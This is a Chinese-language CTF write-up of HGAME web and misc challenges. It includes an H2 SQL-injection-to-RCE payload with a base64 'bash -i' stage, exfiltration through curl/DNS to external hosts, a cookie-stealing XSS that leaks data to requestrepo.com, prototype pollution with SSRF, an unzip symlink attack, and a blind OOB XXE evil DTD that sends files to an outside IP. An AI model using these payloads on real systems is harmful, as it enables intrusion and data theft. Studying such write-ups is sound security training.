首先创建一个数据库函数SHELLEXEC
payload:
1';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; }$$;CALL SHELLEXEC('curl 域名');--+
or
1';CREATE ALIAS SHELLEXEC AS 'String shellexec(String cmd) throws java.io.IOException {java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL SHELLEXEC('curl 域名');--+
创建完后通过堆叠注入,调用SHELLEXEC从而RCE
curl `cat /flag`.oqtfzruqzd.dgrh3.cn
编码后:
Y3VybCBgY2F0IC9mbGFnYC5vcXRmenJ1cXpkLmRncmgzLmNu
命令执行为:
'bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC5vcXRmenJ1cXpkLmRncmgzLmNu}|{base64,-d}|{bash,-i}'
payload:
1';CALL SHELLEXEC('bash -c {echo,Y3VybCBgY2F0IC9mbGFnYC5vcXRmenJ1cXpkLmRncmgzLmNu}|{base64,-d}|{bash,-i}');--+
外带出flag
flag
hgame{bf39e1f653ebbd9384bfe2a80063dcf2b02ad2e3}
reference
web-梅开二度
考点
利用go的ssti绕过html限制然后xss
没有docker这道题云复现
分析
源码如下
//代审注释copied from jay17 from gpt4.0
// 导入必要的包
import (
"context" // 用于创建和传递上下文
"log" // 用于记录日志
"net/url" // 用于解析URL
"os" // 用于读取环境变量和文件系统
"regexp" // 用于正则表达式匹配
"sync" // 用于同步goroutine
"text/template" // 用于处理文本模板,存在XSS!
"time" // 用于处理时间
"github.com/chromedp/chromedp" // ChromeDP用于控制Chrome浏览器
"github.com/gin-gonic/gin" // Gin是一个HTTP Web框架
"golang.org/x/net/html" // 用于操作HTML
)
// 预编译的正则表达式,用于检查模板字符串中是否包含非法词汇
var re = regexp.MustCompile(`script|file|on`)
// 全局锁,用于同步访问
var lock sync.Mutex
func main() {
// 创建一个ChromeDP执行环境,配置Chrome运行参数
allocCtx, cancel := chromedp.NewExecAllocator(context.Background(), append(chromedp.DefaultExecAllocatorOptions[:],
chromedp.NoSandbox, chromedp.DisableGPU)...)
defer cancel() // 确保在main函数结束时取消上下文,释放资源
// 创建一个Gin路由器
r := gin.Default()
// 处理根路径的GET请求,动态生成HTML页面
r.GET("/", func(c *gin.Context) {
tmplStr := c.Query("tmpl") // 从查询参数获取模板字符串
if tmplStr == "" {
tmplStr = defaultTmpl // 若未提供,则使用默认模板
} else {
// 检查模板字符串是否合法
if re.MatchString(tmplStr) {
c.String(403, "tmpl contains invalid word")
return
}
if len(tmplStr) > 50 {
c.String(403, "tmpl is too long")
return
}
tmplStr = html.EscapeString(tmplStr) // 对模板字符串进行HTML转义
}
tmpl, err := template.New("resp").Parse(tmplStr) // 解析模板
if err != nil {
c.String(500, "parse template error: %v", err)
return
}
if err := tmpl.Execute(c.Writer, c); err != nil { // 执行模板,生成响应
c.String(500, "execute template error: %v", err)
}
})
// 处理"/bot"路径的GET请求,模拟浏览器访问提供的URL
r.GET("/bot", func(c *gin.Context) {
rawURL := c.Query("url") // 从查询参数获取URL
u, err := url.Parse(rawURL) // 解析URL
if err != nil {
c.String(403, "url is invalid")
return
}
if u.Host != "127.0.0.1:8080" { // 限制URL的主机地址
c.String(403, "host is invalid")
return
}
go func() { // 在新的goroutine中执行,以非阻塞方式处理请求
lock.Lock() // 在访问共享资源前加锁
defer lock.Unlock() // 确保在函数结束时释放锁
ctx, cancel := chromedp.NewContext(allocCtx,
chromedp.WithBrowserOption(chromedp.WithDialTimeout(10*time.Second)),
)
defer cancel()
ctx, _ = context.WithTimeout(ctx, 20*time.Second) // 设置上下文超时
if err := chromedp.Run(ctx,
chromedp.Navigate(u.String()), // 导航到指定的URL
chromedp.Sleep(time.Second*10), // 等待页面加载
); err != nil {
log.Println(err) // 记录错误
}
}()
c.String(200, "bot will visit it.") // 响应客户端
})
// 处理"/flag"路径的GET请求,仅允许来自localhost的请求
r.GET("/flag", func(c *gin.Context) {
if c.RemoteIP() != "127.0.0.1" { // 检查请求来源IP地址
c.String(403, "you are not localhost")
return
}
flag, err := os.ReadFile("/flag") // 读取flag文件
if err != nil {
c.String(500, "read flag error")
return
}
c.SetCookie("flag", string(flag), 3600, "/", "", false, true) // 将flag设置为cookie
c.Status(200) // 发送200状态码
})
// 启动Gin服务器,监听8080端口
r.Run(":8080")
}
// defaultTmpl是默认的HTML模板,用于生成响应页面
const defaultTmpl = `
<!DOCTYPE html>
<html>
<head>
<title>YOU ARE</title>
</head>
<body>
<div>欢迎来自 {{.RemoteIP}} 的朋友</div>
<div>你的 User-Agent 是 {{.GetHeader "User-Agent"}}</div>
<div>flag在bot手上,想办法偷过来</div>
</body>
`
其中最关键的如下:
- var re = regexp.MustCompile(
script|file|on
)
黑名单过滤script
、file
、on
- if len(tmplStr) > 50
限制长度50以内
- tmplStr = html.EscapeString(tmplStr)
进行转义
- 根路由下存在ssti
if err := tmpl.Execute(c.Writer, c); err != nil { // 执行模板,生成响应
c.String(500, "execute template error: %v", err)
}
后面的思路大概就是传参tmpl={{println 0B101101011011011110001010110}}
测试是否存在ssti
然后xss弄个弹窗测试
?tmpl={{.Query `a`}}&a=<script>alert('XSS')</script>
之后就是想办法带出flag了
/bot
路由主要是获取传参url
,访问url参数的值,要满足访问的是本地8080
端口。
/flag
路由将cookie设置为flag,前提是来源是本地(bot可以做到)
大体思路就是:bot访问根路由进行xss执行js代码访问/flag获取cookie,这个cookie就是flag
初步payload:
/bot?url=http://127.0.0.1:8080?tmpl={{.Query `Jay17`}}&Jay17=<script>【JS代码,用来XSS】</script>
js代码部分(copied from jay17)
async function fetchData() {
// 首先访问网址A
await fetch('http://127.0.0.1:8080/flag')
.then(response => response.text())
.then(data => console.log('网址A访问成功'))
.catch(error => console.error('访问网址A时发生错误:', error));
// 然后访问网址B,并将响应数据赋值给变量X
let x; // 定义变量X
await fetch('http://127.0.0.1:8080/?tmpl={{.Cookie `flag`}}')
.then(response => response.text())
.then(data => {
x = data; // 将获取到的数据(网页响应)赋值给变量X
})
.catch(error => console.error('访问网址B时发生错误:', error));
window.open("http://jay17"+x.substring(6,46)+".kgb7xfn7.requestrepo.com/");//DNS带出
}
// 调用函数
fetchData();
问题记录1:看jay17师傅的wp说的是这道题出网然而vps监听不到,因此被迫走udp信道换用dns外带
问题记录2:利用/bot
路由去XSS,这个路由首先解码一次,之后XSS时候又会解码一次。
最终payload:
/bot?url=http%3A%2F%2F127.0.0.1%3A8080%3Ftmpl%3D%7B%7B.Query%20%60Jay17%60%7D%7D%26Jay17%3D%253Cscript%253E%250Aasync%2520function%2520fetchData()%2520%257B%250A%2520%2520%2520%2520%252F%252F%2520%25E9%25A6%2596%25E5%2585%2588%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580A%250A%2520%2520%2520%2520await%2520fetch('http%253A%252F%252F127.0.0.1%253A8080%252Fflag')%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(response%2520%253D%253E%2520response.text())%2520%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(data%2520%253D%253E%2520console.log('%25E7%25BD%2591%25E5%259D%2580A%25E8%25AE%25BF%25E9%2597%25AE%25E6%2588%2590%25E5%258A%259F'))%250A%2520%2520%2520%2520%2520%2520%2520%2520.catch(error%2520%253D%253E%2520console.error('%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580A%25E6%2597%25B6%25E5%258F%2591%25E7%2594%259F%25E9%2594%2599%25E8%25AF%25AF%253A'%252C%2520error))%253B%250A%250A%2520%2520%2520%2520%252F%252F%2520%25E7%2584%25B6%25E5%2590%258E%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580B%25EF%25BC%258C%25E5%25B9%25B6%25E5%25B0%2586%25E5%2593%258D%25E5%25BA%2594%25E6%2595%25B0%25E6%258D%25AE%25E8%25B5%258B%25E5%2580%25BC%25E7%25BB%2599%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520let%2520x%253B%2520%252F%252F%2520%25E5%25AE%259A%25E4%25B9%2589%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520await%2520fetch('http%253A%252F%252F127.0.0.1%253A8080%252F%253Ftmpl%253D%257B%257B.Cookie%2520%2560flag%2560%257D%257D')%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(response%2520%253D%253E%2520response.text())%2520%250A%2520%2520%2520%2520%2520%2520%2520%2520.then(data%2520%253D%253E%2520%257B%250A%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520%2520x%2520%253D%2520data%253B%2520%252F%252F%2520%25E5%25B0%2586%25E8%258E%25B7%25E5%258F%2596%25E5%2588%25B0%25E7%259A%2584%25E6%2595%25B0%25E6%258D%25AE%25E8%25B5%258B%25E5%2580%25BC%25E7%25BB%2599%25E5%258F%2598%25E9%2587%258FX%250A%2520%2520%2520%2520%2520%2520%2520%2520%257D)%250A%2520%2520%2520%2520%2520%2520%2520%2520.catch(error%2520%253D%253E%2520console.error('%25E8%25AE%25BF%25E9%2597%25AE%25E7%25BD%2591%25E5%259D%2580B%25E6%2597%25B6%25E5%258F%2591%25E7%2594%259F%25E9%2594%2599%25E8%25AF%25AF%253A'%252C%2520error))%253B%250A%2520%2520%2520%2520window.open(%2522http%253A%252F%252Fjay17%2522%252Bx.substring(6%252C46)%252B%2522.kgb7xfn7.requestrepo.com%252F%2522)%253B%252F%252FDNS%25E5%25B8%25A6%25E5%2587%25BA%250A%257D%250A%252F%252F%2520%25E8%25B0%2583%25E7%2594%25A8%25E5%2587%25BD%25E6%2595%25B0%250AfetchData()%253B%250A%253C%252Fscript%253E
misc-ezword
考点
- 盲水印隐写
- 杂七杂八的decode
分析
下载附件得到一个这是一个word文件.docx
,拖进010看文件头发现是zip
改后缀,解压得到
一般就先看document.xml
里面说flag就在这个文件内部
于是找到
txt给出hint
恭喜你找到了这些东西,现在你离flag只差解开这个新的压缩包,然后对压缩包里的东西进行两层解密就能获得flag了。压缩包的密码和我放在这的两张图片有关。
很明显要水印解密
python bwmforpy3.py decode 1.jpg image1.png jieguo.png
image<1.jpg> + image(encoded)<image1.png> -> watermark<jieguo.png>
得到zip的key
T1hi3sI4sKey
zip里的secret.txt
内容如下
参考https://blog.csdn.net/weixin_52640415/article/details/125927340
拿去网站解码https://spammimic.com/decode.cgi
得到:
籱籰籪籶籮粄簹籴籨粂籸籾籨籼簹籵籿籮籨籪籵簺籨籽籱簼籨籼籮籬类簼籽粆
拿去unicode转中文得到
\u7c71\u7c70\u7c6a\u7c76\u7c6e\u7c84\u7c39\u7c74\u7c68\u7c82\u7c78\u7c7e\u7c68\u7c7c\u7c39\u7c75\u7c7f\u7c6e\u7c68\u7c6a\u7c75\u7c3a\u7c68\u7c7d\u7c71\u7c3c\u7c68\u7c7c\u7c6e\u7c6c\u7c7b\u7c3c\u7c7d\u7c86
不妨看一下hgame的十六进制
a = 'hgame'
b = a.encode().hex()
print(b)
#6867616d65
可以发现全都差个9
去除\u7c
得到
71 70 6a 76 6e 84 39 74 68 82 78 7e 68 7c 39 75 7f 6e 68 6a 75 3a 68 7d 71 3c 68 7c 6e 6c 7b 3c 7d 86
依次-9得到
68 67 61 6d 65 7b 30 6b 5f 79 6f 75 5f 73 30 6c 76 65 5f 61 6c 31 5f 74 68 33 5f 73 65 63 72 33 74 7d
得到
hgame{0k_you_s0lve_al1_th3_secr3t}
misc-ek1ng_want_girlfriend
下载流量分析包http流有一个png图片下载下来就是flag
misc-龙之舞
- 额,被卡最后一步,当时最后的二维码碎片拼出来扫不了,用的工具都对的但是没用明白
考点
分析
附件下载得到一个wav文件,前五秒存疑
首先audacity打开,默认波形图换成频谱图查看前五秒得到key
key如下:
KEY:5H8w1nlWCX3hQLG
由于带key的wav隐写,那么我会想到deepsound和silenteye
这两种隐写不一定需要key,但是有key一定要考虑这两种隐写。
其实文件名也算hint了,拿去deepsound提取出xxx.zip
里面是一个gif
拿去stegsolve分帧得到四张二维码碎片
哥们挺心灵手巧的手动拼接了一下奈何扫不出
通过尝试二维码修复在线网站拼接可以看到decode data有错误
使用教程网站里面有,通过tools里面的
得到ECC级别L和掩码模式4的时候解码出flag
WEEK3
Web-webvpn
考点
- js原型链__proto过滤__污染配合ssrf
题目描述
分析
下载题目附件得到js源码
代审后已加注释
const express = require("express");
const axios = require("axios");
const bodyParser = require("body-parser");
const path = require("path");
const fs = require("fs");
const { v4: uuidv4 } = require("uuid");
const session = require("express-session");
const app = express();
const port = 3000;
const session_name = "my-webvpn-session-id-" + uuidv4().toString();
app.set("view engine", "pug");
app.set("trust proxy", false);
app.use(express.static(path.join(__dirname, "public")));
app.use(
session({
name: session_name,
secret: uuidv4().toString(),
secure: false,
resave: false,
saveUninitialized: true,
})
);
app.use(bodyParser.json());
var userStorage = {
username: {
password: "password",
info: {
age: 18,
},
strategy: {
"baidu.com": true,
"google.com": false,
},
},
};
function update(dst, src) {
for (key in src) {
if (key.indexOf("__") != -1) {
continue;
}
if (typeof src[key] == "object" && dst[key] !== undefined) {
update(dst[key], src[key]);
continue;
}
dst[key] = src[key];
}
}
app.use("/proxy", async (req, res) => {
const { username } = req.session;
if (!username) {
res.sendStatus(403);
}
let url = (() => { //创建url对象,并且通过js的内置对象URL检查是否有url参数,如果没有则返回invalid url.
try { //比如直接访问/proxy就会返回invalid url.
return new URL(req.query.url);
} catch {
res.status(400);
res.end("invalid url.");
return undefined;
}
})();
if (!url) return;
if (!userStorage[username].strategy[url.hostname]) { //检查url对象的主机名部分不包括端口号
res.status(400);
res.end("your url is not allowed.");
} //检查userStorage[username].strategy是否为ture,比如Google.com为false就会返回your url is not allowed
try {
const headers = req.headers;
headers.host = url.host;
headers.cookie = headers.cookie.split(";").forEach((cookie) => {
var filtered_cookie = "";
const [key, value] = cookie.split("=", 1); //分割cookie第一个=左右的值并分配给key,value
if (key.trim() !== session_name) {
filtered_cookie += `${key}=${value};`;
}
return filtered_cookie;//将不是会话 cookie 的其他 cookie 过滤掉,并将剩余的会话 cookie 构建成一个新的 cookie 字符串,最后返回
});
const remote_res = await (() => {
if (req.method == "POST") {
return axios.post(url, req.body, {
headers: headers,
});
} else if (req.method == "GET") {
return axios.get(url, {
headers: headers,
});
} else {
res.status(405);
res.end("method not allowed.");
return;
}
})();
res.status(remote_res.status);
res.header(remote_res.headers);
res.write(remote_res.data);
} catch (e) {
res.status(500);
res.end("unreachable url.");
}
});
app.post("/user/login", (req, res) => {
const { username, password } = req.body;
if (
typeof username != "string" ||
typeof password != "string" ||
!username ||
!password
) {
res.status(400);
res.end("invalid username or password");
return;
}
if (!userStorage[username]) {
res.status(403);
res.end("invalid username or password");
return;
}
if (userStorage[username].password !== password) {
res.status(403);
res.end("invalid username or password");
return;
}
req.session.username = username;
res.send("login success");
});
// under development
app.post("/user/info", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
}
update(userStorage[req.session.username].info, req.body);
res.sendStatus(200);
});
app.get("/home", (req, res) => {
if (!req.session.username) {
res.sendStatus(403);
return;
}
res.render("home", {
username: req.session.username,
strategy: ((list)=>{
var result = [];
for (var key in list) {
result.push({host: key, allow: list[key]});
}
return result;
})(userStorage[req.session.username].strategy),
});
});
// demo service behind webvpn
app.get("/flag", (req, res) => {
if (
req.headers.host != "127.0.0.1:3000" ||
req.hostname != "127.0.0.1" ||
req.ip != "127.0.0.1"
) {
res.sendStatus(400);
return;
}
const data = fs.readFileSync("/flag");
res.send(data);
});
app.listen(port, '0.0.0.0', () => {
console.log(`app listen on ${port}`);
});
可以看到这段代码存在原型链污染
function update(dst, src) {
for (key in src) {
if (key.indexOf("__") != -1) {
continue;
}
if (typeof src[key] == "object" && dst[key] !== undefined) {
update(dst[key], src[key]);
continue;
}
dst[key] = src[key];
}
}
大致思路如下:如果污染strategy使其存在一个127.0.0.1的属性,然后在/proxy通过ssrf读取127.0.0.1:3000/flag路由,因为/proxy路由只允许读取strategy。因此通过update函数污染strategy使127.0.0.1为true即可
/user/info调用了update函数,去该路由下进行污染
POST /user/info HTTP/1.1
Host: 139.224.232.162:31989
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0
Content-Type: application/json
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
cookie: my-webvpn-session-id-16d07129-af5d-4a94-832c-64e7b05aa0b1=s%3AosV8JgT2QnWChtj1Sv6k60jNRbqI52s1.LzRMjQQ6BffOIBuax2qIa%2F4rvaYZ6ByGKe%2FaMR9ZPIM
{"constructor":{"prototype":{"127.0.0.1":true}}}
然后访问139.224.232.162:31989/proxy?url=http://127.0.0.1:3000/flag
会有一个proxy文件下载下来,打开就是flag
flag
hgame{960fd010edba920bca9b16b93ac3e9756052142f}
Web-Zero Link
考点
- 用户登录存在的逻辑漏洞(GO语言的零值设计,无法区分结构体中的字段是否被赋值过)
- 文件上传软连接
题目描述
分析
开题是这样一个界面
下载附件得到
代审\src\internal\database\sqlite.go
路由
这是开题页面的后端代码,用于查询用户信息
package database
import (
"log"
"zero-link/internal/config"
"gorm.io/driver/sqlite"
"gorm.io/gorm"
)
var db *gorm.DB
type User struct {
gorm.Model
Username string `gorm:"not null;column:username;unique"`
Password string `gorm:"not null;column:password"`
Token string `gorm:"not null;column:token"`
Memory string `gorm:"not null;column:memory"`
}
func init() {
databaseLocation := config.Sqlite.Location
var err error
db, err = gorm.Open(sqlite.Open(databaseLocation), &gorm.Config{})
if err != nil {
panic("Cannot connect to SQLite: " + err.Error())
}
err = db.AutoMigrate(&User{})
if err != nil {
panic("Failed to migrate database: " + err.Error())
}
users := []User{
{Username: "Admin", Token: "0000", Password: "Admin password is here", Memory: "Keep Best Memory!!!"},
{Username: "Taka", Token: "4132", Password: "newfi443543", Memory: "Love for pixel art."},
{Username: "Tom", Token: "8235", Password: "ofeni3525", Memory: "Family is my treasure"},
{Username: "Alice", Token: "1234", Password: "abcde12345", Memory: "Graduating from college"},
{Username: "Bob", Token: "5678", Password: "fghij67890", Memory: "Winning a championship in sports"},
{Username: "Charlie", Token: "9012", Password: "klmno12345", Memory: "Traveling to a foreign country for the first time"},
{Username: "David", Token: "3456", Password: "pqrst67890", Memory: "Performing on stage in a theater production"},
{Username: "Emily", Token: "7890", Password: "uvwxy12345", Memory: "Meeting my favorite celebrity"},
{Username: "Frank", Token: "2345", Password: "zabcd67890", Memory: "Overcoming a personal challenge"},
{Username: "Grace", Token: "6789", Password: "efghi12345", Memory: "Completing a marathon"},
{Username: "Henry", Token: "0123", Password: "jklmn67890", Memory: "Becoming a parent"},
{Username: "Ivy", Token: "4567", Password: "opqrs12345", Memory: "Graduating from high school"},
{Username: "Jack", Token: "8901", Password: "tuvwx67890", Memory: "Starting my own business"},
{Username: "Kelly", Token: "2345", Password: "yzabc12345", Memory: "Learning to play a musical instrument"},
{Username: "Liam", Token: "6789", Password: "defgh67890", Memory: "Winning a scholarship for higher education"},
}
for _, user := range users {
result := db.Create(&user)
if result.Error != nil {
panic("Failed to create user: " + result.Error.Error())
}
}
}
func GetPasswordByUsername(username string) (string, error) {
var user User
err := db.Where("username = ?", username).First(&user).Error
if err != nil {
log.Println("Cannot get password: " + err.Error())
return "", err
}
return user.Password, nil
}
func GetUserByUsernameOrToken(username string, token string) (*User, error) {
var user User
query := db
if username != "" {
query = query.Where(&User{Username: username})
} else {
query = query.Where(&User{Token: token})
}
err := query.First(&user).Error
if err != nil {
log.Println("Cannot get user: " + err.Error())
return nil, err
}
return &user, nil
}
代审下来之后,这就是个数据库操作的后端代码,并提供了查询功能
因此下一步目标就是获取admin的password
审计routes.go,给出了路由
package routes
import (
"fmt"
"html/template"
"net/http"
"os"
"os/signal"
"path/filepath"
"zero-link/internal/config"
"zero-link/internal/controller/auth"
"zero-link/internal/controller/file"
"zero-link/internal/controller/ping"
"zero-link/internal/controller/user"
"zero-link/internal/middleware"
"zero-link/internal/views"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)
func Run() {
r := gin.Default()
html := template.Must(template.New("").ParseFS(views.FS, "*"))
r.SetHTMLTemplate(html)
secret := config.Secret.SessionSecret
store := cookie.NewStore([]byte(secret))
r.Use(sessions.Sessions("session", store))
api := r.Group("/api")
{
api.GET("/ping", ping.Ping)
api.POST("/user", user.GetUserInfo)
api.POST("/login", auth.AdminLogin)
apiAuth := api.Group("")
apiAuth.Use(middleware.Auth())
{
apiAuth.POST("/upload", file.UploadFile)
apiAuth.GET("/unzip", file.UnzipPackage)
apiAuth.GET("/secret", file.ReadSecretFile)
}
}
frontend := r.Group("/")
{
frontend.GET("/", func(c *gin.Context) {
c.HTML(http.StatusOK, "index.html", nil)
})
frontend.GET("/login", func(c *gin.Context) {
c.HTML(http.StatusOK, "login.html", nil)
})
frontendAuth := frontend.Group("")
frontendAuth.Use(middleware.Auth())
{
frontendAuth.GET("/manager", func(c *gin.Context) {
c.HTML(http.StatusOK, "manager.html", nil)
})
}
}
quit := make(chan os.Signal)
signal.Notify(quit, os.Interrupt)
go func() {
<-quit
err := os.Remove(filepath.Join(".", "sqlite.db"))
if err != nil {
fmt.Println("Failed to delete sqlite.db:", err)
} else {
fmt.Println("sqlite.db deleted")
}
os.Exit(0)
}()
r.Run(":8000")
}
审计\src\internal\controller\user\user.go
package user
import (
"net/http"
"zero-link/internal/database"
"github.com/gin-gonic/gin"
)
type UserInfoResponse struct {
Code int `json:"code"`
Message string `json:"message"`
Data *database.User `json:"data"`
}
func GetUserInfo(c *gin.Context) {
var req struct {
Username string `json:"username"`
Token string `json:"token"`
}
if err := c.ShouldBindJSON(&req); err != nil {
c.JSON(http.StatusBadRequest, UserInfoResponse{
Code: http.StatusBadRequest,
Message: "Invalid request body",
Data: nil,
})
return
}
if req.Username == "Admin" || req.Token == "0000" {
c.JSON(http.StatusForbidden, UserInfoResponse{
Code: http.StatusForbidden,
Message: "Forbidden",
Data: nil,
})
return
}
user, err := database.GetUserByUsernameOrToken(req.Username, req.Token)
if err != nil {
c.JSON(http.StatusInternalServerError, UserInfoResponse{
Code: http.StatusInternalServerError,
Message: "Failed to get user",
Data: nil,
})
return
}
if user == nil {
c.JSON(http.StatusNotFound, UserInfoResponse{
Code: http.StatusNotFound,
Message: "User not found",
Data: nil,
})
return
}
response := UserInfoResponse{
Code: http.StatusOK,
Message: "Ok",
Data: user,
}
c.JSON(http.StatusOK, response)
}
尽管页面限制了 token 和 username 不能同时为空,但是后端没限制。
只判断token和username是否在数据库中,或者是否为Admin或者0000,却没有判断是否为空,将两者都设置为空
官方解释如下
于是传空值
可以看到响应包返回了密码
{
"code": 200,
"message": "Ok",
"data": {
"ID": 1,
"CreatedAt": "2024-02-26T10:50:44.740550463Z",
"UpdatedAt": "2024-02-26T10:50:44.740550463Z",
"DeletedAt": null,
"Username": "Admin",
"Password": "Zb77jbeoZkDdfQ12fzb0",
"Token": "0000",
"Memory": "Keep Best Memory!!!"
}
}
然后用此密码登进系统
发现是文件上传
审计src\internal\controller\file\file.go
源码
for _, file := range files {
cmd := exec.Command("unzip", "-o", file, "-d", "/tmp/")
if err := cmd.Run(); err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to unzip file: " + file,
Data: "",
})
return
}
}
存在这样一段代码,不难想到文件上传之unzip软链接攻击
file.go完整代码如下
package file
import (
"net/http"
"os"
"os/exec"
"path/filepath"
"zero-link/internal/util"
"github.com/gin-gonic/gin"
)
type FileResponse struct {
Code int `json:"code"`
Message string `json:"message"`
Data string `json:"data"`
}
func UploadFile(c *gin.Context) {
file, err := c.FormFile("file")
if err != nil {
c.JSON(http.StatusBadRequest, FileResponse{
Code: http.StatusBadRequest,
Message: "No file uploaded",
Data: "",
})
return
}
ext := filepath.Ext(file.Filename)
if (ext != ".zip") || (file.Header.Get("Content-Type") != "application/zip") {
c.JSON(http.StatusBadRequest, FileResponse{
Code: http.StatusBadRequest,
Message: "Only .zip files are allowed",
Data: "",
})
return
}
filename := "/app/uploads/" + file.Filename
if _, err := os.Stat(filename); err == nil {
err := os.Remove(filename)
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to remove existing file",
Data: "",
})
return
}
}
err = c.SaveUploadedFile(file, filename)
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to save file",
Data: "",
})
return
}
c.JSON(http.StatusOK, FileResponse{
Code: http.StatusOK,
Message: "File uploaded successfully",
Data: filename,
})
}
func UnzipPackage(c *gin.Context) {
files, err := filepath.Glob("/app/uploads/*.zip")
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to get list of .zip files",
Data: "",
})
return
}
for _, file := range files {
cmd := exec.Command("unzip", "-o", file, "-d", "/tmp/")
if err := cmd.Run(); err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to unzip file: " + file,
Data: "",
})
return
}
}
c.JSON(http.StatusOK, FileResponse{
Code: http.StatusOK,
Message: "Unzip completed",
Data: "",
})
}
func ReadSecretFile(c *gin.Context) {
secretFilepath := "/app/secret"
content, err := util.ReadFileToString(secretFilepath)
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to read secret file",
Data: "",
})
return
}
secretContent, err := util.ReadFileToString(content)
if err != nil {
c.JSON(http.StatusInternalServerError, FileResponse{
Code: http.StatusInternalServerError,
Message: "Failed to read secret file content",
Data: "",
})
return
}
c.JSON(http.StatusOK, FileResponse{
Code: http.StatusOK,
Message: "Secret content read successfully",
Data: secretContent,
})
}
这里再来理一下思路:这里的源码全部都指向/app,说明工作目录基于/app,因此我上传软连接需要将压缩包指向应用工作目录/app然后再进行其他操作
制作压缩包
上传1.zip后调用/api/unzip进行解压
然后调用/api/secrert路由
发现默认读取的是fake_flag
再创建⼀个 link/secret ⽂件,⽂件内容为 /flag ,然后压缩这个 link ⽬录为2.zip,上传后
调⽤ /api/unzip 接⼝进⾏解压,⽤⾃定义的secret⽂件覆盖系统中原有的secret⽂件(原本secret文件时/fake_flag,现在改为/flag)
因此上传2.zip后再次解压调用/api/secret即可读取/flag内容
flag
hgame{w0W_u_Re4l1y_Kn0W_Golang_4ND_uNz1P!}
Web-Vidarbox
题目描述
分析
源码如下,代码审计写了注释
package org.vidar.controller;
import org.springframework.core.io.DefaultResourceLoader;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
import org.xml.sax.helpers.XMLReaderFactory;
import java.io.*;
@Controller
public class BackdoorController {
private String workdir = "file:///non_exist/";
private String suffix = ".xml";
@RequestMapping("/")
public String index() {
return "index.html";
}
@GetMapping({"/backdoor"})
@ResponseBody
public String hack(@RequestParam String fname) throws IOException, SAXException {
DefaultResourceLoader resourceLoader = new DefaultResourceLoader();//创建了一个 `DefaultResourceLoader` 实例,该实例用于加载资源文件
byte[] content = resourceLoader.getResource(this.workdir + fname + this.suffix).getContentAsByteArray();//通过资源加载器加载指定路径的文件,并将其内容作为字节数组返回给 `content` 变量
if (content != null && this.safeCheck(content)) {//检查加载的内容不为空,并调用 `this.safeCheck(content)` 方法进行安全检查
XMLReader reader = XMLReaderFactory.*createXMLReader*();//创建一个 XMLReader 实例,用于解析 XML 内容
reader.parse(new InputSource(new ByteArrayInputStream(content)));//将加载的 XML 内容作为字节数组的输入流传递给 XMLReader,并解析该内容
return "success";
} else {
return "error";
}
}
private boolean safeCheck(byte[] stream) throws IOException {
String content = new String(stream);
return !content.contains("DOCTYPE") && !content.contains("ENTITY") &&
!content.contains("doctype") && !content.contains("entity");
}//检查是否含有这四个字符串
}
源码大致意思如下:/backdoor路由下能读文件,并当作xml文件解析
因此方向抛到blind oob xxe
vps上放个evil1.dtd文件,内容如下
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://114.132.250.144:8080?p=%file;'>">
本地来一个1.xml文件,内容如下
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://114.132.xxx.xxx/evil1.dtd">
%remote;%int;%send;
]>
但是由于有safecheck,编码绕过即可
iconv -f utf8 -t utf16 1.xml>2.xml
现在得到的2.xml拿去题目中加载即可绕过
因此思路就是2.xml放在vps上用靶机读取
其实不用命令编码也行,如下
<?xml version"1.0" encoding="UTF-16BE" ?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://114.132.xxx.xxx/evil1.dtd">
%remote;%int;%send;
]>
但问题是evil1.dtd里的file协议该怎么读取远程文件呢?
(监听不到数据....疑似是ftp服务器的问题)
Misc-与ai聊天
纯脑洞
Misc-简单的vmdk取证
考点
- 硬盘取证-Windows系统密码破解-saminside工具利用
题目描述
分析
下载附件得到一个vmdk文件,显然是硬盘取证
通过7z处理vmdk(其实预期工具最好是magnet AXIOM,工具太大还没下好,这里我用saminside替代)
7z x hgame.vmdk -o./
